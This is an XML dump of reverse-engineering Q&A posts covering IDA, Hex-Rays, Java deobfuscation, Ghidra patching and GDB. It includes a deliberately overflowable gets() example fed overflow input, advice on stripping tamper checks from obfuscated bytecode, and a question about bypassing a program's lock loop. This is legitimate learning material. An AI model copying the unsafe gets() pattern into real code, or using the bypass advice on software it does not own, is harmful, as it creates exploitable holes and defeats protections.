  <row Id="24595" PostTypeId="2" ParentId="24590" CreationDate="2020-04-02T15:50:37.103" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinnDiff&lt;/a&gt; and &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diaphora&lt;/a&gt; do exactly what you ask.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastEditorUserId="37537" LastEditDate="2021-07-18T11:30:04.293" LastActivityDate="2021-07-18T11:30:04.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24597" PostTypeId="1" CreationDate="2020-04-02T19:44:25.110" Score="2" ViewCount="318" Body="&lt;p&gt;I am writing a script in IDA Pro. I noticed that when I rename functions with &quot;n&quot; in the &lt;em&gt;disassembly&lt;/em&gt; view, that same function is not being renamed in the &lt;em&gt;decompilation&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never noticed this before. Is this normal operating behavior? If so, how can you automatically transfer the names from the disassembly view to the decompilation view? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have notice this also happens when I rename functions with a script). &lt;/p&gt;&#xA;" OwnerUserId="32631" LastActivityDate="2020-05-05T12:02:40.263" Title="Names not populating from disassembly to decompiler" Tags="|ida|idapython|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24598" PostTypeId="1" AcceptedAnswerId="24599" CreationDate="2020-04-03T09:44:29.827" Score="1" ViewCount="483" Body="&lt;p&gt;I'm new to Java and working on cleaning up a fairly large Java .jar sample where the obfuscator has renamed symbols into invalid names. For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import org.lib.00.0.2;&#xA;&#xA;public final class 90&#xA;extends 2 {&#xA;    public 90() {&#xA;        90 iiIIiiiiiIiIi;&#xA;        90 v0 = iiIIiiiiiIiIi;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Recaf I am renaming these symbols that are using numbers but after doing so Recaf isn't able to find the renamed classes/packages and subsequent compiles with my code changes fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that will automate restoring the symbols to legal names? If not, how can I rename things in a way that won't break package/class paths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I'm considering if I should be using the decompiler at all and maybe just altering the ASM/instructions. I'm pretty comfortable with regular assembly and it seems this might dodge some of the obfuscation measures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastEditorUserId="19294" LastEditDate="2020-04-03T10:17:58.613" LastActivityDate="2020-04-03T13:27:33.933" Title="Reverse Engineering Java - Deobfuscating symbols" Tags="|disassembly|obfuscation|java|deobfuscation|decompile|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24599" PostTypeId="2" ParentId="24598" CreationDate="2020-04-03T13:27:33.933" Score="1" Body="&lt;p&gt;I'm not sure about tools specifically for your first question, but as for your second question, yes, definitely!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation is useful for &lt;em&gt;understanding&lt;/em&gt; code, but it is terrible for &lt;em&gt;modifying&lt;/em&gt; code. Compilation and decompilation are both lossy processes. Also, there's a lot of things you can do in bytecode that have no Java equivalent, so you shouldn't expect obfuscated bytecode to even decompile cleanly in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly and assembly by contrast doesn't lose any information and can cleanly roundtrip even to obfuscated bytecode, at least if you use a good disassembler like &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;. So if you are comfortable working with bytecode and are working with highly obfuscated bytecode, I would strongly recommend using Krakatau. For regular or moderately obfuscated bytecode (the most common case), other tools such as ASM will work as well, in case you want to use that instead. There are some bytecode quirks that ASM doesn't support properly, but I am not aware of any obfuscators in the wild that exploit them, so this is unlikely to be an issue in practice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the code you are working with may also be using introspection to try to detect tampering, so watch out for that. For example, some old versions of Stringer that I looked at would load themselves and count the number of constant pool entries in the classfile, so modifications would likely break them. (Krakatau makes it possible to avoid adding or removing constant pool entries if you're careful, but your best bet is to just analyze the code to find and remove the tamper checks)&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2020-04-03T13:27:33.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24602" PostTypeId="1" CreationDate="2020-04-03T14:46:11.290" Score="0" ViewCount="122" Body="&lt;p&gt;I need to jump a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to jump some lines that lock program in a loop status.&#xA;i use process hacker to find lines with string in binary but when i find this lines i have not jumps near, in fact i can't find CALL send me to this lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a part of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00AD06C8                         | 70 01                      | jo AD06CB                                       |&#xA;00AD06CA                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06CC                         | 04 00                      | add al,0                                        |&#xA;00AD06CE                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06D0                         | 2300                       | and eax,dword ptr ds:[eax]                      |&#xA;00AD06D2                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06D4                         | 0D 00000000                | or eax,0                                        |&#xA;00AD06D9                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06DB                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06DD                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06DF                         | 0090 01000000              | add byte ptr ds:[eax+1],dl                      |&#xA;00AD06E5                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD06E7                         | 0003                       | add byte ptr ds:[ebx],al                        |&#xA;00AD06E8                         | 0302                       | add eax,dword ptr ds:[edx]                      |&#xA;00AD06EA                         | 0122                       | add dword ptr ds:[edx],esp                      |&#xA;00AD06EC                         | 42                         | inc edx                                         |&#xA;00AD06ED                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |&#xA;00AD06F0                         | 72 00                      | jb AD06F2                                       |&#xA;00AD06F2                         | 6C                         | insb                                            |&#xA;00AD06F3                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |&#xA;00AD06F6                         | 6E                         | outsb                                           |&#xA;00AD06F7                         | 0020                       | add byte ptr ds:[eax],ah                        |&#xA;00AD06F9                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |&#xA;00AD06FC                         | 61                         | popad                                           |&#xA;00AD06FD                         | 006E 00                    | add byte ptr ds:[esi],ch                        |&#xA;00AD0700                         | 73 00                      | jae AD0702                                      |&#xA;00AD0702                         | 2000                       | and byte ptr ds:[eax],al                        |&#xA;00AD0704                         | 46                         | inc esi                                         |&#xA;00AD0705                         | 0042 00                    | add byte ptr ds:[edx],al                        |&#xA;00AD0708                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD070A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD070C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD070E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0710                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0712                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0714                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0716                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0718                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD071A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD071C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD071E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0720                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0722                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0724                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0726                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0728                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD072A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD072C                         | 42                         | inc edx                                         |&#xA;00AD072D                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |&#xA;00AD0730                         | 72 00                      | jb AD0732                                       |&#xA;00AD0732                         | 6C                         | insb                                            |&#xA;00AD0733                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |&#xA;00AD0736                         | 6E                         | outsb                                           |&#xA;00AD0737                         | 0020                       | add byte ptr ds:[eax],ah                        |&#xA;00AD0739                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |&#xA;00AD073C                         | 61                         | popad                                           |&#xA;00AD073D                         | 006E 00                    | add byte ptr ds:[esi],ch                        |&#xA;00AD0740                         | 73 00                      | jae AD0742                                      |&#xA;00AD0742                         | 2000                       | and byte ptr ds:[eax],al                        |&#xA;00AD0744                         | 46                         | inc esi                                         |&#xA;00AD0745                         | 0042 00                    | add byte ptr ds:[edx],al                        |&#xA;00AD0748                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD074A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD074C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD074E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0750                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0752                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0754                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0756                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0758                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD075A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD075C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD075E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0760                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0762                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0764                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0766                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0768                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD076A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD076C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD076E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0770                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0772                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0774                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0776                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0778                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD077A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD077C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD077E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0780                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0782                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0784                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0786                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0788                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD078A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD078C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD078E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0790                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0792                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0794                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0796                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD0798                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD079A                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD079C                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD079E                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07A0                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07A2                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07A4                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07A6                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07A8                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07AA                         | 0000                       | add byte ptr ds:[eax],al                        |&#xA;00AD07AC                         | 4E                         | dec esi                                         |&#xA;00AD07AD                         | 006F 00                    | add byte ptr ds:[edi],ch                        |&#xA;00AD07B0                         | 72 00                      | jb AD07B2                                       |&#xA;00AD07B2                         | 6D                         | insd                                            |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;00AD06CC is the line that process hacker show problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see error appears in different lines. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/I4FSE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4FSE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32626" LastEditorUserId="32626" LastEditDate="2020-04-04T00:15:47.153" LastActivityDate="2020-04-04T00:15:47.153" Title="Jump without jmp near" Tags="|ida|disassembly|debugging|binary-analysis|program-analysis|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24604" PostTypeId="1" CreationDate="2020-04-04T05:37:24.240" Score="1" ViewCount="167" Body="&lt;p&gt;The assembly file has multiple variables which both use the rax register. The decompiler did recognize that at least somewhat, since it did create two variables which use the rax register. However, it did not split up the use of each one properly. Here is the assembly and decompilation, along with a couple comments on what would be a more accurate decompilation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000014052DDA0 String__moveTextBackwards proc near&#xA;.text:000000014052DDA0                                         ; CODE XREF: sub_14003E380+86↑p&#xA;.text:000000014052DDA0                                         ; sub_1403CC850+19D2↑p ...&#xA;.text:000000014052DDA0                 mov     rax, [rcx+18h]&#xA;.text:000000014052DDA4                 movsxd  r10, r8d&#xA;.text:000000014052DDA7                 mov     r9, rcx&#xA;.text:000000014052DDAA                 lea     r8, [r10+rdx]&#xA;.text:000000014052DDAE                 cmp     r8, rax&#xA;.text:000000014052DDB1                 jnz     short loc_14052DDBA&#xA;.text:000000014052DDB3                 mov     rax, [rcx]&#xA;.text:000000014052DDB6                 jmp     qword ptr [rax+20h]&#xA;.text:000000014052DDBA ; ---------------------------------------------------------------------------&#xA;.text:000000014052DDBA&#xA;.text:000000014052DDBA loc_14052DDBA:                          ; CODE XREF: String__moveTextBackwards+11↑j&#xA;.text:000000014052DDBA                 ja      short loc_14052DDDF&#xA;.text:000000014052DDBC                 mov     rdx, r10&#xA;.text:000000014052DDBF                 neg     rdx&#xA;.text:000000014052DDC2&#xA;.text:000000014052DDC2 loc_14052DDC2:                          ; CODE XREF: String__moveTextBackwards+3D↓j&#xA;.text:000000014052DDC2                 mov     rax, [r9+8]&#xA;.text:000000014052DDC6                 inc     r8&#xA;.text:000000014052DDC9                 lea     rcx, [rax+rdx*2]&#xA;.text:000000014052DDCD                 movzx   eax, word ptr [rax+r8*2-2]&#xA;.text:000000014052DDD3                 mov     [rcx+r8*2-2], ax&#xA;.text:000000014052DDD9                 cmp     r8, [r9+18h]&#xA;.text:000000014052DDDD                 jbe     short loc_14052DDC2&#xA;.text:000000014052DDDF&#xA;.text:000000014052DDDF loc_14052DDDF:                          ; CODE XREF: String__moveTextBackwards:loc_14052DDBA↑j&#xA;.text:000000014052DDDF                 sub     [r9+18h], r10&#xA;.text:000000014052DDE3                 retn&#xA;.text:000000014052DDE3 String__moveTextBackwards endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gets decompiled to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  wchar_t *stringLength; // rax&#xA;  __int64 numBytesCopy; // r10&#xA;  String *thisCopy; // r9&#xA;  unsigned __int64 v6; // r8&#xA;  wchar_t *pText; // rax&#xA;  wchar_t *pMovedText; // rcx&#xA;&#xA;  stringLength = (wchar_t *)this-&amp;gt;stringLength; // This should really be an __int64, but since the compiler assumed this was the same variable that gets returned, it is forced to a wchar_t*&#xA;  numBytesCopy = numBytes;&#xA;  thisCopy = this;&#xA;  v6 = numBytes + a2;&#xA;  if ( (wchar_t *)v6 == stringLength )&#xA;    return (wchar_t *)((__int64 (__fastcall *)(String *, __int64, unsigned __int64, String *))this-&amp;gt;vftbl_0_0000000140B4F448-&amp;gt;sub_14052DB70)(&#xA;                        this,&#xA;                        a2,&#xA;                        v6,&#xA;                        this);&#xA;  if ( v6 &amp;lt;= (unsigned __int64)stringLength )&#xA;  {&#xA;    do&#xA;    {&#xA;      pText = thisCopy-&amp;gt;pString;&#xA;      ++v6;&#xA;      pMovedText = &amp;amp;pText[-numBytesCopy];&#xA;      stringLength = (wchar_t *)pText[v6 - 1];  // From here until the end, the instances where stringLength is used would better be described as pText. But since both pText and stringLength use rax, it decided to use the wrong one here.&#xA;      pMovedText[v6 - 1] = (unsigned __int16)stringLength;&#xA;    }&#xA;    while ( v6 &amp;lt;= thisCopy-&amp;gt;stringLength );&#xA;  }&#xA;  thisCopy-&amp;gt;stringLength -= numBytesCopy;&#xA;  return stringLength;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change which variable Hex Rays uses in the instances where it chose to use the wrong variable? It has made mistakes similar to this one in other parts of this string class, too.&lt;/p&gt;&#xA;" OwnerUserId="32644" LastActivityDate="2021-06-17T08:07:15.710" Title="Hex Rays Mapping To Wrong Variable" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24608" PostTypeId="1" CreationDate="2020-04-04T12:35:27.873" Score="1" ViewCount="58" Body="&lt;p&gt;I compiled some source code and extracted functions with Radare2 (afj). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often I get a function with &quot;sym..text_mn&quot; function name/ symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other functions are named correctly. What does this symbol mean/ stand for?&lt;/p&gt;&#xA;" OwnerUserId="31021" LastEditorUserId="31021" LastEditDate="2020-04-15T09:14:56.313" LastActivityDate="2020-05-15T10:04:05.390" Title="text_mn in Radare2 --&gt; Meaning?" Tags="|radare2|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24609" PostTypeId="2" ParentId="20877" CreationDate="2020-04-04T13:19:27.850" Score="8" Body="&lt;h1&gt;Ghidra Export Binary Feature&lt;/h1&gt;&#xA;&lt;h2&gt;UPDATE AS OF June 2021:&lt;/h2&gt;&#xA;&lt;p&gt;The preliminary release notes list this as a feature for Ghidra 10, which should be released &amp;quot;mid to end of June 2021&amp;quot;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;New exporters that write programs imported with the PE and ELF loaders back to their original file layout have been added.&#xA;Any file-backed bytes that were modified by the user in the program database will be reflected in the written file.&#xA;Bytes that are part of the import process such as relocations or modified Memory Maps are not currently handled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/Ghidra_10.0_build/Ghidra/Configurations/Public_Release/src/global/docs/WhatsNew.html#L421-L424&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/blob/Ghidra_10.0_build/Ghidra/Configurations/Public_Release/src/global/docs/WhatsNew.html#L421-L424&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As soon as Ghidra 10 is released this answer can be edited with the details of the process, but most likely it will just be similar to the current &amp;quot;exporter&amp;quot; that doesn't produce valid binary files.&lt;/p&gt;&#xA;&lt;h2&gt;Original (Outdated)&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note that the Binary export is not broken, it is simply misunderstood. This exporter simply dumps the initialized memory blocks defined within Ghidra in binary form. The blocks are appended sequentially. It was never intended to recreate a loadable/executable binary. While this is certainly a desirable feature, it does not yet exist within Ghidra.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Official&amp;quot; Statement at &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/19#issuecomment-591596603&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/19#issuecomment-591596603&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Patching and exporting a working executable&lt;/h1&gt;&#xA;&lt;p&gt;This is currently (April 2020) not supported in Ghidra itself and requires some external scripts/forks with some tradeoffs because in the most general sense you can't just turn an address space back into an executable file. But for the common case of patching instructions there are options:&lt;/p&gt;&#xA;&lt;h2&gt;PR/Fork that will possibly be upstreamed&lt;/h2&gt;&#xA;&lt;p&gt;There is a PR that is currently being worked on at &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/pull/1505&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/pull/1505&lt;/a&gt; that aims to implement binary patching&lt;/p&gt;&#xA;&lt;h2&gt;Ghidra Script&lt;/h2&gt;&#xA;&lt;p&gt;If building a custom fork is too much effort for a quick patch, another easier option is to use a script like &lt;a href=&quot;https://github.com/schlafwandler/ghidra_SavePatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/schlafwandler/ghidra_SavePatch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2021-07-30T12:59:09.450" LastActivityDate="2021-07-30T12:59:09.450" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24610" PostTypeId="1" AcceptedAnswerId="24611" CreationDate="2020-04-04T14:00:46.133" Score="0" ViewCount="1425" Body="&lt;p&gt;I am trying to learn GDB to better understand buffer overflows but I can't find an answer to my problem which is how can I send a Python-generated output to the program when the program asks for user input (the &lt;b&gt;gets&lt;/b&gt; function in my code below). I can type CTRL+C to send SIGINT but I have not found any way to send the output back to the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample program (disregard the buffer overflow):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;#include &#xA;int main(int argc, char **argv)&#xA;{&#xA;char buf[8];&#xA;&lt;b&gt;gets(buf);&lt;/b&gt;&#xA;printf(&quot;%s\n&quot;, buf);&#xA;return 0;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample Python script I want to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;python -c &quot;print 'A' * 10&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Python output I want the &lt;b&gt;gets&lt;/b&gt; function to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;AAAAAAAAAA&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="32662" LastActivityDate="2020-04-04T19:04:54.660" Title="GDB - Send Python output to the program after SIGINT" Tags="|gdb|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24611" PostTypeId="2" ParentId="24610" CreationDate="2020-04-04T14:40:05.863" Score="0" Body="&lt;p&gt;You can specify the input you want to pass to the program when executing &quot;run&quot; via GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print 'A' * 10&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print 'A' * 10&quot;)&#xA;Starting program: /media/sf_CTFs/stackoverflow/24610/test &amp;lt;&amp;lt;&amp;lt; $(python -c &quot;print 'A' * 10&quot;)&#xA;AAAAAAAAAA&#xA;[Inferior 1 (process 953) exited normally]&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[Edit, based on comment]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to interactively decide what the next input you want to send is, without scripting the whole thing beforehand (and assuming that you can't or don't want to use a library such as &lt;code&gt;pwntools&lt;/code&gt; to automate the decision process), you might be able to make use of named pipes. However I can't promise that this is the best or most convenient way. At the very least, this method is OS dependent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create a named pipe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# mkfifo my_pipe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, open two shells. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one shell, redirect GDB's input as the pipe's output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:/media/sf_CTFs/stackoverflow/24610# gdb -nh test &amp;lt; ~/my_pipe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other shell, open a Python REPL and connect to the named pipe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; f = open(&quot;/root/my_pipe&quot;, &quot;w&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The moment you open the pipe, you should see GDB get unblocked on the first shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Reading symbols from test...&#xA;(No debugging symbols found in test)&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, define the following function in the Python REPL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; def cmd(f, s): f.write(s); f.write(&quot;\n&quot;); f.flush()&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to enter input for GDB using the newly defined &lt;code&gt;cmd&lt;/code&gt; command. For example, to run the program, enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; cmd(f, &quot;r&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will run the program in the other shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) Starting program: /media/sf_CTFs/stackoverflow/24610/test&#xA;Please enter input&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can break GDB with CTRL+C, just remember that all commands need to be entered via &lt;code&gt;cmd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the time is right, you can send your Python command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; cmd(f, 'A' * 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will be received in the other side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) Continuing.&#xA;AAAAAAAAAA&#xA;[Inferior 1 (process 1187) exited normally]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to close the named pipe when you're done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this works for you, you can go ahead and create a Python script that acts as an interactive shell, instead of using the REPL.&lt;/p&gt;&#xA;" OwnerUserId="27837" LastEditorUserId="27837" LastEditDate="2020-04-04T19:04:54.660" LastActivityDate="2020-04-04T19:04:54.660" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
